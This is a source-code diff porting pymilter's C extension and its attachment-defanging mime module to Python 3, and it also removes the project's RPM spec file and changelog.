||||||
|
#endif
|
||||||
if (o == NULL) { /* out of memory */
|
if (o == NULL) { /* out of memory */
|
||||||
Py_DECREF(arglist);
|
Py_DECREF(arglist);
|
||||||
return _report_exception(self);
|
return _report_exception(self);
|
||||||
@@ -860,7 +675,12 @@ milter_wrap_header(SMFICTX *ctx, char *headerf, char *headerv) {
|
|||||||
if (header_callback == NULL) return SMFIS_CONTINUE;
|
if (header_callback == NULL) return SMFIS_CONTINUE;
|
||||||
c = _get_context(ctx);
|
c = _get_context(ctx);
|
||||||
if (!c) return SMFIS_TEMPFAIL;
|
if (!c) return SMFIS_TEMPFAIL;
|
||||||
|
#if PY_MAJOR_VERSION >= 3
|
||||||
|
/* pass val as bytes so Milter.Base.header_bytes can do surrogate escape. */
|
||||||
|
arglist = Py_BuildValue("(Osy)", c, headerf, headerv);
|
||||||
|
#else
|
||||||
arglist = Py_BuildValue("(Oss)", c, headerf, headerv);
|
arglist = Py_BuildValue("(Oss)", c, headerf, headerv);
|
||||||
|
#endif
|
||||||
return _generic_wrapper(c, header_callback, arglist);
|
return _generic_wrapper(c, header_callback, arglist);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -889,7 +709,11 @@ milter_wrap_body(SMFICTX *ctx, u_char *bodyp, size_t bodylen) {
|
|||||||
c = _get_context(ctx);
|
c = _get_context(ctx);
|
||||||
if (!c) return SMFIS_TEMPFAIL;
|
if (!c) return SMFIS_TEMPFAIL;
|
||||||
/* Unclear whether this should be s#, z#, or t# */
|
/* Unclear whether this should be s#, z#, or t# */
|
||||||
arglist = Py_BuildValue("(Os#)", c, bodyp, bodylen);
|
#if PY_MAJOR_VERSION >= 3
|
||||||
|
arglist = Py_BuildValue("(Oy#)", c, bodyp, (Py_ssize_t)bodylen);
|
||||||
|
#else
|
||||||
|
arglist = Py_BuildValue("(Os#)", c, bodyp, (Py_ssize_t)bodylen);
|
||||||
|
#endif
|
||||||
return _generic_wrapper(c, body_callback, arglist);
|
return _generic_wrapper(c, body_callback, arglist);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -950,20 +774,17 @@ milter_wrap_negotiate(SMFICTX *ctx,
|
|||||||
rc = _generic_wrapper(c, negotiate_callback, arglist);
|
rc = _generic_wrapper(c, negotiate_callback, arglist);
|
||||||
c->t = t;
|
c->t = t;
|
||||||
if (rc == SMFIS_CONTINUE) {
|
if (rc == SMFIS_CONTINUE) {
|
||||||
#if 0 // PyArgs_Parse deprecated and going away
|
|
||||||
if (!PyArgs_Parse(optlist,"[kkkk]",pf0,pf1,pf2,pf3)) {
|
|
||||||
PyErr_Print();
|
|
||||||
PyErr_Clear(); /* must clear since not returning to python */
|
|
||||||
rc = SMFIS_REJECT;
|
|
||||||
}
|
|
||||||
#else
|
|
||||||
unsigned long *pa[4] = { pf0,pf1,pf2,pf3 };
|
unsigned long *pa[4] = { pf0,pf1,pf2,pf3 };
|
||||||
unsigned long fa[4] = { f0,f1,f2,f3 };
|
unsigned long fa[4] = { f0,f1,f2,f3 };
|
||||||
int len = PyList_Size(optlist);
|
int len = PyList_Size(optlist);
|
||||||
int i;
|
int i;
|
||||||
for (i = 0; i < 4; ++i) {
|
for (i = 0; i < 4; ++i) {
|
||||||
*pa[i] = (i <= len)
|
*pa[i] = (i <= len)
|
||||||
? PyInt_AsUnsignedLongMask(PyList_GET_ITEM(optlist,i))
|
#if PY_MAJOR_VERSION >= 3
|
||||||
|
? PyLong_AsUnsignedLongMask(PyList_GET_ITEM(optlist,i))
|
||||||
|
#else
|
||||||
|
? PyInt_AsUnsignedLongMask(PyList_GET_ITEM(optlist,i))
|
||||||
|
#endif
|
||||||
: fa[i];
|
: fa[i];
|
||||||
}
|
}
|
||||||
if (PyErr_Occurred()) {
|
if (PyErr_Occurred()) {
|
||||||
@@ -971,7 +792,6 @@ milter_wrap_negotiate(SMFICTX *ctx,
|
|||||||
PyErr_Clear();
|
PyErr_Clear();
|
||||||
rc = SMFIS_REJECT;
|
rc = SMFIS_REJECT;
|
||||||
}
|
}
|
||||||
#endif
|
|
||||||
}
|
}
|
||||||
else if (rc != SMFIS_ALL_OPTS)
|
else if (rc != SMFIS_ALL_OPTS)
|
||||||
rc = SMFIS_REJECT;
|
rc = SMFIS_REJECT;
|
||||||
@@ -1084,7 +904,10 @@ milter_main(PyObject *self, PyObject *args) {
|
|||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
/* libmilter requires thread support */
|
/* libmilter requires thread support */
|
||||||
|
#if PY_VERSION_HEX < 0x03070000
|
||||||
|
/* called in Py_Initialize beginning with 3.7 */
|
||||||
PyEval_InitThreads();
|
PyEval_InitThreads();
|
||||||
|
#endif
|
||||||
/* let other threads run while in smfi_main() */
|
/* let other threads run while in smfi_main() */
|
||||||
interp = PyThreadState_Get()->interp;
|
interp = PyThreadState_Get()->interp;
|
||||||
_main = PyEval_SaveThread(); /* must be done before smfi_main() */
|
_main = PyEval_SaveThread(); /* must be done before smfi_main() */
|
||||||
@@ -1315,6 +1138,8 @@ milter_chgfrom(PyObject *self, PyObject *args) {
|
|||||||
SMFICTX *ctx;
|
SMFICTX *ctx;
|
||||||
PyThreadState *t;
|
PyThreadState *t;
|
||||||
|
|
||||||
|
/* FIXME: use s# to transition to allow passing bytes, but milter api
|
||||||
|
* requires NUL terminated bytes. */
|
||||||
if (!PyArg_ParseTuple(args, "s|z:chgfrom", &sender, ¶ms))
|
if (!PyArg_ParseTuple(args, "s|z:chgfrom", &sender, ¶ms))
|
||||||
return NULL;
|
return NULL;
|
||||||
ctx = _find_context(self);
|
ctx = _find_context(self);
|
||||||
@@ -1331,7 +1156,7 @@ Change/delete a header in the message. \n\
|
|||||||
It is not checked for standards compliance; the mail filter\n\
|
It is not checked for standards compliance; the mail filter\n\
|
||||||
must ensure that no protocols are violated as a result of adding this header.\n\
|
must ensure that no protocols are violated as a result of adding this header.\n\
|
||||||
field - header field name\n\
|
field - header field name\n\
|
||||||
int - the Nth occurence of this header\n\
|
int - the Nth occurrence of this header\n\
|
||||||
value - header field value\n\
|
value - header field value\n\
|
||||||
field and value are strings.\n\
|
field and value are strings.\n\
|
||||||
This function can only be called from the EOM callback.";
|
This function can only be called from the EOM callback.";
|
||||||
@@ -1411,7 +1236,7 @@ can only be called from the EOM callback.";
|
|||||||
static PyObject *
|
static PyObject *
|
||||||
milter_replacebody(PyObject *self, PyObject *args) {
|
milter_replacebody(PyObject *self, PyObject *args) {
|
||||||
char *bodyp;
|
char *bodyp;
|
||||||
int bodylen;
|
Py_ssize_t bodylen;
|
||||||
SMFICTX *ctx;
|
SMFICTX *ctx;
|
||||||
PyThreadState *t;
|
PyThreadState *t;
|
||||||
|
|
||||||
@@ -1420,7 +1245,7 @@ milter_replacebody(PyObject *self, PyObject *args) {
|
|||||||
if (ctx == NULL) return NULL;
|
if (ctx == NULL) return NULL;
|
||||||
t = PyEval_SaveThread();
|
t = PyEval_SaveThread();
|
||||||
return _thread_return(t,smfi_replacebody(ctx,
|
return _thread_return(t,smfi_replacebody(ctx,
|
||||||
(unsigned char *)bodyp, bodylen), "cannot replace message body");
|
(unsigned char *)bodyp, (int)bodylen), "cannot replace message body");
|
||||||
}
|
}
|
||||||
|
|
||||||
static const char milter_setpriv__doc__[] =
|
static const char milter_setpriv__doc__[] =
|
||||||
@@ -1551,10 +1376,12 @@ static PyMethodDef context_methods[] = {
|
|||||||
{ NULL, NULL }
|
{ NULL, NULL }
|
||||||
};
|
};
|
||||||
|
|
||||||
|
#if PY_MAJOR_VERSION < 3
|
||||||
static PyObject *
|
static PyObject *
|
||||||
milter_Context_getattr(PyObject *self, char *name) {
|
milter_Context_getattr(PyObject *self, char *name) {
|
||||||
return Py_FindMethod(context_methods, self, name);
|
return Py_FindMethod(context_methods, self, name);
|
||||||
}
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
static struct smfiDesc description = { /* Set some reasonable defaults */
|
static struct smfiDesc description = { /* Set some reasonable defaults */
|
||||||
"pythonfilter",
|
"pythonfilter",
|
||||||
@@ -1604,14 +1431,23 @@ static PyMethodDef milter_methods[] = {
|
|||||||
};
|
};
|
||||||
|
|
||||||
static PyTypeObject milter_ContextType = {
|
static PyTypeObject milter_ContextType = {
|
||||||
|
#if PY_MAJOR_VERSION >= 3
|
||||||
|
PyVarObject_HEAD_INIT(&PyType_Type,0)
|
||||||
|
"milter.Context",
|
||||||
|
#else
|
||||||
PyObject_HEAD_INIT(&PyType_Type)
|
PyObject_HEAD_INIT(&PyType_Type)
|
||||||
0,
|
0,
|
||||||
"milterContext",
|
"milterContext",
|
||||||
|
#endif
|
||||||
sizeof(milter_ContextObject),
|
sizeof(milter_ContextObject),
|
||||||
0,
|
0,
|
||||||
milter_Context_dealloc, /* tp_dealloc */
|
milter_Context_dealloc, /* tp_dealloc */
|
||||||
0, /* tp_print */
|
0, /* tp_print */
|
||||||
|
#if PY_MAJOR_VERSION >= 3
|
||||||
|
0, /* tp_getattr */
|
||||||
|
#else
|
||||||
milter_Context_getattr, /* tp_getattr */
|
milter_Context_getattr, /* tp_getattr */
|
||||||
|
#endif
|
||||||
0, /* tp_setattr */
|
0, /* tp_setattr */
|
||||||
0, /* tp_compare */
|
0, /* tp_compare */
|
||||||
0, /* tp_repr */
|
0, /* tp_repr */
|
||||||
@@ -1625,6 +1461,15 @@ static PyTypeObject milter_ContextType = {
|
|||||||
0, /* tp_setattro */
|
0, /* tp_setattro */
|
||||||
0, /* tp_as_buffer */
|
0, /* tp_as_buffer */
|
||||||
Py_TPFLAGS_DEFAULT, /* tp_flags */
|
Py_TPFLAGS_DEFAULT, /* tp_flags */
|
||||||
|
#if PY_MAJOR_VERSION >= 3
|
||||||
|
NULL, /* Documentation string */
|
||||||
|
0, /* call function for all accessible objects */
|
||||||
|
0, /* delete references to contained objects */
|
||||||
|
0, /* rich comparisons */
|
||||||
|
0, /* weak reference enabler */
|
||||||
|
0, 0, /* Iterators */
|
||||||
|
context_methods, /* Attribute descriptor and subclassing stuff */
|
||||||
|
#endif
|
||||||
};
|
};
|
||||||
|
|
||||||
static const char milter_documentation[] =
|
static const char milter_documentation[] =
|
||||||
@@ -1634,17 +1479,45 @@ Libmilter is currently marked FFR, and needs to be explicitly installed.\n\
|
|||||||
See <sendmailsource>/libmilter/README for details on setting it up.\n";
|
See <sendmailsource>/libmilter/README for details on setting it up.\n";
|
||||||
|
|
||||||
static void setitem(PyObject *d,const char *name,long val) {
|
static void setitem(PyObject *d,const char *name,long val) {
|
||||||
|
#if PY_MAJOR_VERSION >= 3
|
||||||
|
PyObject *v = PyLong_FromLong(val);
|
||||||
|
#else
|
||||||
PyObject *v = PyInt_FromLong(val);
|
PyObject *v = PyInt_FromLong(val);
|
||||||
|
#endif
|
||||||
PyDict_SetItemString(d,name,v);
|
PyDict_SetItemString(d,name,v);
|
||||||
Py_DECREF(v);
|
Py_DECREF(v);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#if PY_MAJOR_VERSION >= 3
|
||||||
|
|
||||||
void
|
static struct PyModuleDef moduledef = {
|
||||||
initmilter(void) {
|
PyModuleDef_HEAD_INIT,
|
||||||
|
"milter", /* m_name */
|
||||||
|
milter_documentation,/* m_doc */
|
||||||
|
-1, /* m_size */
|
||||||
|
milter_methods, /* m_methods */
|
||||||
|
NULL, /* m_reload */
|
||||||
|
NULL, /* m_traverse */
|
||||||
|
NULL, /* m_clear */
|
||||||
|
NULL, /* m_free */
|
||||||
|
};
|
||||||
|
|
||||||
|
PyMODINIT_FUNC PyInit_milter(void) {
|
||||||
|
PyObject *m, *d;
|
||||||
|
|
||||||
|
if (PyType_Ready(&milter_ContextType) < 0)
|
||||||
|
return NULL;
|
||||||
|
|
||||||
|
m = PyModule_Create(&moduledef);
|
||||||
|
if (m == NULL) return NULL;
|
||||||
|
#else
|
||||||
|
|
||||||
|
void initmilter(void) {
|
||||||
PyObject *m, *d;
|
PyObject *m, *d;
|
||||||
|
|
||||||
m = Py_InitModule4("milter", milter_methods, milter_documentation,
|
m = Py_InitModule4("milter", milter_methods, milter_documentation,
|
||||||
(PyObject*)NULL, PYTHON_API_VERSION);
|
(PyObject*)NULL, PYTHON_API_VERSION);
|
||||||
|
#endif
|
||||||
d = PyModule_GetDict(m);
|
d = PyModule_GetDict(m);
|
||||||
MilterError = PyErr_NewException("milter.error", NULL, NULL);
|
MilterError = PyErr_NewException("milter.error", NULL, NULL);
|
||||||
PyDict_SetItemString(d,"error", MilterError);
|
PyDict_SetItemString(d,"error", MilterError);
|
||||||
@@ -1710,4 +1583,7 @@ initmilter(void) {
|
|||||||
setitem(d,"DISCARD", SMFIS_DISCARD);
|
setitem(d,"DISCARD", SMFIS_DISCARD);
|
||||||
setitem(d,"ACCEPT", SMFIS_ACCEPT);
|
setitem(d,"ACCEPT", SMFIS_ACCEPT);
|
||||||
setitem(d,"TEMPFAIL", SMFIS_TEMPFAIL);
|
setitem(d,"TEMPFAIL", SMFIS_TEMPFAIL);
|
||||||
|
#if PY_MAJOR_VERSION >= 3
|
||||||
|
return m;
|
||||||
|
#endif
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,87 +1,3 @@
|
|||||||
# $Log$
|
|
||||||
# Revision 1.8 2011/11/05 15:51:03 customdesigned
|
|
||||||
# New example
|
|
||||||
#
|
|
||||||
# Revision 1.7 2009/06/13 21:15:12 customdesigned
|
|
||||||
# Doxygen updates.
|
|
||||||
#
|
|
||||||
# Revision 1.6 2009/06/09 03:13:13 customdesigned
|
|
||||||
# More doxygen docs.
|
|
||||||
#
|
|
||||||
# Revision 1.5 2005/07/20 14:49:43 customdesigned
|
|
||||||
# Handle corrupt and empty ZIP files.
|
|
||||||
#
|
|
||||||
# Revision 1.4 2005/06/17 01:49:39 customdesigned
|
|
||||||
# Handle zip within zip.
|
|
||||||
#
|
|
||||||
# Revision 1.3 2005/06/02 15:00:17 customdesigned
|
|
||||||
# Configure banned extensions. Scan zipfile option with test case.
|
|
||||||
#
|
|
||||||
# Revision 1.2 2005/06/02 04:18:55 customdesigned
|
|
||||||
# Update copyright notices after reading article on /.
|
|
||||||
#
|
|
||||||
# Revision 1.1.1.4 2005/05/31 18:23:49 customdesigned
|
|
||||||
# Development changes since 0.7.2
|
|
||||||
#
|
|
||||||
# Revision 1.62 2005/02/14 22:31:17 stuart
|
|
||||||
# _parseparam replacement not needed for python2.4
|
|
||||||
#
|
|
||||||
# Revision 1.61 2005/02/12 02:11:11 stuart
|
|
||||||
# Pass unit tests with python2.4.
|
|
||||||
#
|
|
||||||
# Revision 1.60 2005/02/11 18:34:14 stuart
|
|
||||||
# Handle garbage after quote in boundary.
|
|
||||||
#
|
|
||||||
# Revision 1.59 2005/02/10 01:10:59 stuart
|
|
||||||
# Fixed MimeMessage.ismodified()
|
|
||||||
#
|
|
||||||
# Revision 1.58 2005/02/10 00:56:49 stuart
|
|
||||||
# Runs with python2.4. Defang not working correctly - more work needed.
|
|
||||||
#
|
|
||||||
# Revision 1.57 2004/11/20 16:37:52 stuart
|
|
||||||
# fix regex for splitting header and body
|
|
||||||
#
|
|
||||||
# Revision 1.56 2004/11/09 20:33:51 stuart
|
|
||||||
# Recognize more dynamic PTR variations.
|
|
||||||
#
|
|
||||||
# Revision 1.55 2004/10/06 21:39:20 stuart
|
|
||||||
# Handle message attachments with boundary errors by not parsing them
|
|
||||||
# until needed.
|
|
||||||
#
|
|
||||||
# Revision 1.54 2004/08/18 01:59:46 stuart
|
|
||||||
# Handle mislabeled multipart messages
|
|
||||||
#
|
|
||||||
# Revision 1.53 2004/04/24 22:53:20 stuart
|
|
||||||
# Rename some local variables to avoid shadowing builtins
|
|
||||||
#
|
|
||||||
# Revision 1.52 2004/04/24 22:47:13 stuart
|
|
||||||
# Convert header values to str
|
|
||||||
#
|
|
||||||
# Revision 1.51 2004/03/25 03:19:10 stuart
|
|
||||||
# Correctly defang rfc822 attachments when boundary specified with
|
|
||||||
# content-type message/rfc822.
|
|
||||||
#
|
|
||||||
# Revision 1.50 2003/10/15 22:01:00 stuart
|
|
||||||
# Test for and work around email bug with encoded filenames.
|
|
||||||
#
|
|
||||||
# Revision 1.49 2003/09/04 18:48:13 stuart
|
|
||||||
# Support python-2.2.3
|
|
||||||
#
|
|
||||||
# Revision 1.48 2003/09/02 00:27:27 stuart
|
|
||||||
# Should have full milter based dspam support working
|
|
||||||
#
|
|
||||||
# Revision 1.47 2003/08/26 06:08:18 stuart
|
|
||||||
# Use new python boolean since we now require 2.2.2
|
|
||||||
#
|
|
||||||
# Revision 1.46 2003/08/26 05:01:38 stuart
|
|
||||||
# Release 0.6.0
|
|
||||||
#
|
|
||||||
# Revision 1.45 2003/08/26 04:01:24 stuart
|
|
||||||
# Use new email module for parsing mail. Still need mime module to
|
|
||||||
# provide various bug fixes to email module, and maintain some compatibility
|
|
||||||
# with old milter code.
|
|
||||||
#
|
|
||||||
|
|
||||||
## @package mime
|
## @package mime
|
||||||
# This module provides a "defang" function to replace naughty attachments.
|
# This module provides a "defang" function to replace naughty attachments.
|
||||||
#
|
#
|
||||||
@@ -102,15 +18,17 @@ except:
|
|||||||
import socket
|
import socket
|
||||||
import Milter
|
import Milter
|
||||||
import zipfile
|
import zipfile
|
||||||
|
import sys
|
||||||
|
|
||||||
import email
|
import email
|
||||||
from email.message import Message
|
from email.message import Message
|
||||||
try:
|
try:
|
||||||
from email.generator import BytesGenerator
|
from email.generator import BytesGenerator
|
||||||
from email import message_from_binary_file
|
from email import message_from_binary_file, encoders
|
||||||
except:
|
except:
|
||||||
from email.generator import Generator as BytesGenerator
|
from email.generator import Generator as BytesGenerator
|
||||||
from email import message_from_file as message_from_binary_file
|
from email import message_from_file as message_from_binary_file
|
||||||
|
from email import Encoders as encoders
|
||||||
from email.utils import quote
|
from email.utils import quote
|
||||||
|
|
||||||
if not getattr(Message,'as_bytes',None):
|
if not getattr(Message,'as_bytes',None):
|
||||||
@@ -207,7 +125,7 @@ class MimeMessage(Message):
|
|||||||
"""Return a list of (attr,name) pairs of attributes that IE might
|
"""Return a list of (attr,name) pairs of attributes that IE might
|
||||||
interpret as a name - and hence decide to execute this message."""
|
interpret as a name - and hence decide to execute this message."""
|
||||||
names = []
|
names = []
|
||||||
for attr,val in self._get_params_preserve([],'content-type'):
|
for attr,val in self.get_params([],'content-type',False):
|
||||||
if isinstance(val, tuple):
|
if isinstance(val, tuple):
|
||||||
# It's an RFC 2231 encoded parameter
|
# It's an RFC 2231 encoded parameter
|
||||||
newvalue = _unquotevalue(val)
|
newvalue = _unquotevalue(val)
|
||||||
@@ -277,6 +195,11 @@ class MimeMessage(Message):
|
|||||||
|
|
||||||
def get_payload(self,i=None,decode=False):
|
def get_payload(self,i=None,decode=False):
|
||||||
msg = self.submsg
|
msg = self.submsg
|
||||||
|
if msg is None:
|
||||||
|
t = self.get_content_type().lower()
|
||||||
|
if t == 'message/rfc822' or t.startswith('multipart/'):
|
||||||
|
msg = super().get_payload()
|
||||||
|
self.submsg = msg
|
||||||
if isinstance(msg,Message) and msg.ismodified():
|
if isinstance(msg,Message) and msg.ismodified():
|
||||||
self.set_payload([msg])
|
self.set_payload([msg])
|
||||||
return Message.get_payload(self,i,decode)
|
return Message.get_payload(self,i,decode)
|
||||||
@@ -295,7 +218,11 @@ class MimeMessage(Message):
|
|||||||
if t == 'message/rfc822' or t.startswith('multipart/'):
|
if t == 'message/rfc822' or t.startswith('multipart/'):
|
||||||
if not self.submsg:
|
if not self.submsg:
|
||||||
txt = self.get_payload()
|
txt = self.get_payload()
|
||||||
if type(txt) == str:
|
if type(txt) is bytes:
|
||||||
|
self.submsg = email.message_from_bytes(txt,MimeMessage)
|
||||||
|
for part in self.submsg.walk():
|
||||||
|
part.modified = False
|
||||||
|
elif type(txt) is str:
|
||||||
txt = self.get_payload(decode=True)
|
txt = self.get_payload(decode=True)
|
||||||
self.submsg = email.message_from_string(txt,MimeMessage)
|
self.submsg = email.message_from_string(txt,MimeMessage)
|
||||||
for part in self.submsg.walk():
|
for part in self.submsg.walk():
|
||||||
@@ -356,17 +283,24 @@ def check_name(msg,savname=None,ckname=check_ext,scan_zip=False):
|
|||||||
msg["Content-Type"] = "text/plain; name="+name
|
msg["Content-Type"] = "text/plain; name="+name
|
||||||
return Milter.CONTINUE
|
return Milter.CONTINUE
|
||||||
|
|
||||||
def check_attachments(msg,check):
|
def check_attachments(msg,check,lev=None):
|
||||||
"""Scan attachments.
|
"""Scan attachments.
|
||||||
msg MimeMessage
|
msg MimeMessage
|
||||||
check function(MimeMessage): int
|
check function(MimeMessage): int
|
||||||
Return CONTINUE, REJECT, ACCEPT
|
Return CONTINUE, REJECT, ACCEPT
|
||||||
"""
|
"""
|
||||||
if msg.is_multipart():
|
if msg.is_multipart():
|
||||||
|
if not lev: lev = []
|
||||||
|
lev.append(1)
|
||||||
|
if msg.get_content_type().endswith('/rfc822'):
|
||||||
|
foo = 1
|
||||||
for i in msg.get_payload():
|
for i in msg.get_payload():
|
||||||
rc = check_attachments(i,check)
|
print('chkm',lev,msg.get_content_type())
|
||||||
|
rc = check_attachments(i,check,lev=lev)
|
||||||
if rc != Milter.CONTINUE: return rc
|
if rc != Milter.CONTINUE: return rc
|
||||||
|
lev[-1] += 1
|
||||||
return Milter.CONTINUE
|
return Milter.CONTINUE
|
||||||
|
print('chk',lev,msg.get_content_type())
|
||||||
return check(msg)
|
return check(msg)
|
||||||
|
|
||||||
# save call context for Python without nested_scopes
|
# save call context for Python without nested_scopes
|
||||||
@@ -401,7 +335,10 @@ class _defang:
|
|||||||
# emulate old defang function
|
# emulate old defang function
|
||||||
defang = _defang()
|
defang = _defang()
|
||||||
|
|
||||||
from sgmllib import SGMLParser as HTMLParser
|
if sys.version < '3.0.0':
|
||||||
|
from sgmllib import SGMLParser as HTMLParser
|
||||||
|
else:
|
||||||
|
from Milter.sgmllib import SGMLParser as HTMLParser
|
||||||
|
|
||||||
import re
|
import re
|
||||||
declname = re.compile(r'[a-zA-Z][-_.a-zA-Z0-9]*\s*')
|
declname = re.compile(r'[a-zA-Z][-_.a-zA-Z0-9]*\s*')
|
||||||
@@ -530,11 +467,10 @@ def check_html(msg,savname=None):
|
|||||||
if htmlfilter.modified:
|
if htmlfilter.modified:
|
||||||
msg.set_payload(out) # remove embedded scripts
|
msg.set_payload(out) # remove embedded scripts
|
||||||
del msg["content-transfer-encoding"]
|
del msg["content-transfer-encoding"]
|
||||||
email.Encoders.encode_quopri(msg)
|
encoders.encode_quopri(msg)
|
||||||
return Milter.CONTINUE
|
return Milter.CONTINUE
|
||||||
|
|
||||||
if __name__ == '__main__':
|
if __name__ == '__main__':
|
||||||
import sys
|
|
||||||
def _list_attach(msg):
|
def _list_attach(msg):
|
||||||
t = msg.get_content_type()
|
t = msg.get_content_type()
|
||||||
p = msg.get_payload(decode=True)
|
p = msg.get_payload(decode=True)
|
||||||
@@ -545,7 +481,7 @@ if __name__ == '__main__':
|
|||||||
return Milter.CONTINUE
|
return Milter.CONTINUE
|
||||||
|
|
||||||
for fname in sys.argv[1:]:
|
for fname in sys.argv[1:]:
|
||||||
fp = open(fname,'rb')
|
with open(fname,'rb') as fp:
|
||||||
msg = message_from_file(fp)
|
msg = message_from_file(fp)
|
||||||
email.iterators._structure(msg)
|
email.iterators._structure(msg)
|
||||||
check_attachments(msg,_list_attach)
|
check_attachments(msg,_list_attach)
|
||||||
|
|||||||
-197
@@ -1,197 +0,0 @@
|
|||||||
%if 0%{?rhel} == 7
|
|
||||||
%define pythonbase python34
|
|
||||||
%else
|
|
||||||
%define pythonbase python3
|
|
||||||
%endif
|
|
||||||
%define __python python3
|
|
||||||
|
|
||||||
%define libdir %{_libdir}/pymilter
|
|
||||||
%{!?python_sitearch: %define python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
|
|
||||||
|
|
||||||
Summary: Python interface to sendmail milter API
|
|
||||||
Name: %{pythonbase}-pymilter
|
|
||||||
Version: 1.0.2
|
|
||||||
Release: 1%{dist}
|
|
||||||
Source: https://github.com/sdgathman/pymilter/archive/pymilter-%{version}.tar.gz
|
|
||||||
Source1: pymilter.te
|
|
||||||
# Patch miltermodule to python3
|
|
||||||
# FIXME: replace with reverse patch at some point (make py3 the default)
|
|
||||||
Patch: milter.patch
|
|
||||||
License: GPLv2+
|
|
||||||
Group: Development/Libraries
|
|
||||||
BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root
|
|
||||||
Url: http://www.bmsi.com/python/milter.html
|
|
||||||
# python-2.6.4 gets RuntimeError: not holding the import lock
|
|
||||||
Requires: %{pythonbase} >= 2.6.5, sendmail-milter >= 8.13
|
|
||||||
%if 0%{?fedora} >= 23
|
|
||||||
# Need python2.6 specific pydns, not the version for system python
|
|
||||||
Recommends: %{pythonbase}-pydns
|
|
||||||
%endif
|
|
||||||
# Needed for callbacks, not a core function but highly useful for milters
|
|
||||||
BuildRequires: ed, %{pythonbase}-devel, sendmail-devel >= 8.13
|
|
||||||
|
|
||||||
%description
|
|
||||||
This is a python extension module to enable python scripts to
|
|
||||||
attach to sendmail's libmilter functionality. Additional python
|
|
||||||
modules provide for navigating and modifying MIME parts, sending
|
|
||||||
DSNs, and doing CBV.
|
|
||||||
|
|
||||||
%package selinux
|
|
||||||
Summary: SELinux policy module for pymilter
|
|
||||||
Group: System Environment/Base
|
|
||||||
Requires: policycoreutils, selinux-policy, %{name}
|
|
||||||
BuildRequires: policycoreutils, checkpolicy
|
|
||||||
%if 0%{?epel} >= 6
|
|
||||||
BuildRequires: policycoreutils-python
|
|
||||||
%else
|
|
||||||
BuildRequires: policycoreutils-python-utils
|
|
||||||
%endif
|
|
||||||
|
|
||||||
%description selinux
|
|
||||||
SELinux policy module for using pymilter with sendmail with selinux enforcing
|
|
||||||
|
|
||||||
%prep
|
|
||||||
%setup -q -n pymilter-%{version}
|
|
||||||
%patch -p1 -b .py3
|
|
||||||
cp %{SOURCE1} pymilter.te
|
|
||||||
|
|
||||||
%build
|
|
||||||
env CFLAGS="$RPM_OPT_FLAGS" %{__python} setup.py build
|
|
||||||
checkmodule -m -M -o pymilter.mod pymilter.te
|
|
||||||
semodule_package -o pymilter.pp -m pymilter.mod
|
|
||||||
|
|
||||||
%install
|
|
||||||
rm -rf $RPM_BUILD_ROOT
|
|
||||||
%{__python} setup.py install --root=$RPM_BUILD_ROOT
|
|
||||||
mkdir -p $RPM_BUILD_ROOT%{_localstatedir}/run/milter
|
|
||||||
mkdir -p $RPM_BUILD_ROOT%{_localstatedir}/log/milter
|
|
||||||
mkdir -p $RPM_BUILD_ROOT%{libdir}
|
|
||||||
|
|
||||||
# install selinux modules
|
|
||||||
mkdir -p %{buildroot}%{_datadir}/selinux/targeted
|
|
||||||
cp -p pymilter.pp %{buildroot}%{_datadir}/selinux/targeted
|
|
||||||
|
|
||||||
%files
|
|
||||||
%defattr(-,root,root,-)
|
|
||||||
%doc README ChangeLog NEWS TODO CREDITS sample.py milter-template.py
|
|
||||||
%{python_sitearch}/*
|
|
||||||
%{libdir}
|
|
||||||
%dir %attr(0755,mail,mail) %{_localstatedir}/run/milter
|
|
||||||
%dir %attr(0755,mail,mail) %{_localstatedir}/log/milter
|
|
||||||
|
|
||||||
%files selinux
|
|
||||||
%doc pymilter.te
|
|
||||||
%{_datadir}/selinux/targeted/*
|
|
||||||
|
|
||||||
%clean
|
|
||||||
rm -rf $RPM_BUILD_ROOT
|
|
||||||
|
|
||||||
%post selinux
|
|
||||||
/usr/sbin/semodule -s targeted -i %{_datadir}/selinux/targeted/pymilter.pp \
|
|
||||||
&>/dev/null || :
|
|
||||||
|
|
||||||
%postun selinux
|
|
||||||
if [ $1 -eq 0 ] ; then
|
|
||||||
/usr/sbin/semodule -s targeted -r pymilter &> /dev/null || :
|
|
||||||
fi
|
|
||||||
|
|
||||||
%changelog
|
|
||||||
* Tue Dec 13 2016 Stuart Gathman <stuart@gathman.org> 1.0.2-1
|
|
||||||
- Fix the last setsymlist misspelling. Support in test framework and tests.
|
|
||||||
- Add @symlist decorator.
|
|
||||||
- Change body callback and a few other APIs to use bytes instead of str.
|
|
||||||
|
|
||||||
* Tue Sep 20 2016 Stuart Gathman <stuart@gathman.org> 1.0.1-1
|
|
||||||
- Support python3
|
|
||||||
|
|
||||||
* Sat Mar 1 2014 Stuart Gathman <stuart@gathman.org> 1.0-2
|
|
||||||
- Remove start.sh to track EPEL repository, suggest daemonize as replacement
|
|
||||||
- Selinux subpackage should not care about pymilter version
|
|
||||||
|
|
||||||
* Wed Jun 26 2013 Stuart Gathman <stuart@gathman.org> 1.0-1
|
|
||||||
- Allow ACCEPT as untrapped exception policy
|
|
||||||
- Optional dir for getaddrset and getaddrdict in Milter.config
|
|
||||||
- Show registered milter name in untrapped exception message.
|
|
||||||
- Include selinux subpackage
|
|
||||||
- Provide Milter.greylist export and Milter.greylist import to migrate data
|
|
||||||
|
|
||||||
* Sat Mar 9 2013 Stuart Gathman <stuart@bmsi.com> 0.9.8-1
|
|
||||||
- Add Milter.test module for unit testing milters.
|
|
||||||
- Fix typo that prevented setsymlist from being active.
|
|
||||||
- Change untrapped exception message to:
|
|
||||||
- "pymilter: untrapped exception in milter app"
|
|
||||||
|
|
||||||
* Thu Apr 12 2012 Stuart Gathman <stuart@bmsi.com> 0.9.7-1
|
|
||||||
- Raise RuntimeError when result != CONTINUE for @noreply and @nocallback
|
|
||||||
- Remove redundant table in miltermodule
|
|
||||||
- Fix CNAME chain duplicating TXT records in Milter.dns (from pyspf).
|
|
||||||
|
|
||||||
* Sat Feb 25 2012 Stuart Gathman <stuart@bmsi.com> 0.9.6-1
|
|
||||||
- Raise ValueError on unescaped '%' passed to setreply
|
|
||||||
